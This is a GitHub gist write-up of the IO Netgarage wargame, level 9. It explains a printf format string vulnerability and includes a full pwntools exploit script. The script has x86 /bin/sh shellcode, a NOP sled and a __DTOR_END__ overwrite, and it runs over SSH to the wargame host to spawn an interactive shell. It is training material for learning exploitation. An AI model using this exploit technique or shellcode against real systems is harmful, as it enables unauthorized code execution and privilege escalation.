Skip to content

Instantly share code, notes, and snippets.

@jaybosamiya
Last active December 20, 2016 16:45
Show Gist options
  • Save jaybosamiya/3f09824becfadfc998425b504ae8e178 to your computer and use it in GitHub Desktop.
Save jaybosamiya/3f09824becfadfc998425b504ae8e178 to your computer and use it in GitHub Desktop.
IO Netgarage Level9 Explanation

IO Netgarage Level9 (Format String Vuln Exploit) Explanation

The vulnerable code

Here's the vulnerable code (/levels/level09.c):

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
	int  pad = 0xbabe;
	char buf[1024];
	strncpy(buf, argv[1], sizeof(buf) - 1);

	printf(buf);
	
	return 0;
}

Obviously, the printf(buf) there is vulnerable to a format string based attack. Hence, I wrote down some code to attack this. It is probably easier to read it in chunks, which is why the script below has been split into those logical chunks with explanation for each.

The attack

Do the necessary imports. Pwntools FTW.

from pwn import *

After making the program crash on the system and analyzing the core dump, we get 2 things

  • __DTOR_END__ (by placing a pointer here, the code will jump to this after main ends)
  • A stable starting location of whatever was inputted for the argv[1]. This is where we'll place the shellcode

As for the shellcode, it is taken from shellstorm here.

ret_location = 0x80494d4 # __DTOR_END__
shellcode = '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'
shellcode_location = 0xb7fd9000 # Points to start of string (until the
								# first '%' sign) taken from core dump

Now, the shellcode location is at some place with a NULL, which is why we shift it by some amount. Additionally, we add in a NOP sled (after the shifted portion), just for safety sake (though not necessary). We also want to maintain that len(shellcode) % 4 == 0, which is equivalent to (shift + nop_sled_len) % 4 == 2.

shift = 0x12 # How much to shift shellcode by (to prevent nulls, and to line up the offset properly)
nop_sled_len = 0x10 # How long a nop sled

shellcode = '\x90' * (shift + nop_sled_len) + shellcode
shellcode_location += shift

Set up what we want to write where, during the final attack

payload_dict = {ret_location : shellcode_location}

log.info("payload_dict = %s" % repr(payload_dict))

Open an SSH connection to the level and log in

sshconn = ssh(host='io.netgarage.org',
			  user='level9',
			  password='*************')

Define a function that abstracts away the input and output of the format string attack. Basically, we want to have a Python function f that has the following property: f(x) returns the value that would be printed if we executed printf(SOMETHING_CONSTANT + x). The SOMETHING_CONSTANT can be empty, but in this case, we set it to be shellcode to make it easier for us down the line.

def exec_fmt(payload):
	payload = shellcode + payload
	p = sshconn.process(['/levels/level09', payload])
	log.info("Using payload = %s" % repr(payload))
	recvd = p.recvall()
	log.info("Received = %s" % repr(recvd))
	p.close()
	return recvd

Calculate the offset at which the format string is able to control the vulnerability. This is equivalent to the value N for which the payload AAAA%N$p would return AAAA0x41414141.

autofmt = FmtStr(exec_fmt)
offset = autofmt.offset

log.info("Found offset = %d", offset)

Create the payload. numbwritten tells how many bytes are part of the SOMETHING_CONSTANT mentioned above.

payload = shellcode + fmtstr_payload(offset, payload_dict, numbwritten=len(shellcode))

log.info("Constructed payload = %s" % repr(payload))
log.info("Payload length = %d" % len(payload))

Actually execute the payload, and let the dropped shell become interactive for the user

p = sshconn.process(['/levels/level09', payload])
p.interactive()

Clean up :)

sshconn.close()

W00T! Format string exploitation made easy :)

@pdhoot
Copy link

pdhoot commented Dec 20, 2016

That was cool! 😄

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment